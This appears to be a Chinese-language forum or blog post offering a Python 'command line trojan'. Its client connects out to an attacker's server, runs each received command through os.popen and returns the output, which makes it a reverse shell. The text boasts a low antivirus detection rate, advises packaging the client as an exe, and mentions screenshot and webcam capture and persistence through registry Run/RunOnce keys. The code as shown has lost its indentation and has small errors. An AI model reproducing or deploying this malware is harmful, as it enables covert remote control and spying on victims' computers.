如下是客户端代码(需要在受控机上运行)
pythonimport os
import socket
import time
HOST = '你自己服务器的ip或者域名'
PORT = '这里改成你传输的端口,要和服务端端口一致'
while True:
# 创建 socket 对象
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
try:
s.connect((HOST, PORT))
connected = True
except ConnectionRefusedError:
connected = False
print("连接拒绝,无法连接到服务器。")
while connected:
try:
# 接收数据
data = s.recv(1024).decode()
print("接收到的数据:", data)
if not data:
# 数据为空,表示连接断开
connected = False
break
result = os.popen(data).read()
print("执行结果:", result)
message = result
if message:
# 发送字符串给服务器
s.sendall(message.encode())
else:
ret = '返回值为空'
s.sendall(ret.encode())
except ConnectionResetError:
print("连接重置,连接已断开。")
connected = False
break
if not connected:
print("连接断开,重新尝试连接...")
time.sleep(5) # 延迟5秒后进行下一次连接尝试
print("客户端运行结束。")
Command line trojan
这是一个 类似反向代理的程序,已经过部分检测,3/70 的被检测的概率,因为这个的逻辑十分的简单,都是正常操作,把文本传到客户端,然后客户端本地执行传过来的命令,所以说被检测到的比较少。
server端用法:python3 main.py server
客户端用法:直接编辑好端口打包成exe进行运行
拥有截图功能
命令在连接后有提示,可以屏幕截图和调用摄像头
shell:startup
在通过注册表自启动,主要是有 Run
和 RunOnce
,其中RunOnce和Run区别在于RunOnce的键值只作用一次,执行完毕后会自动删除。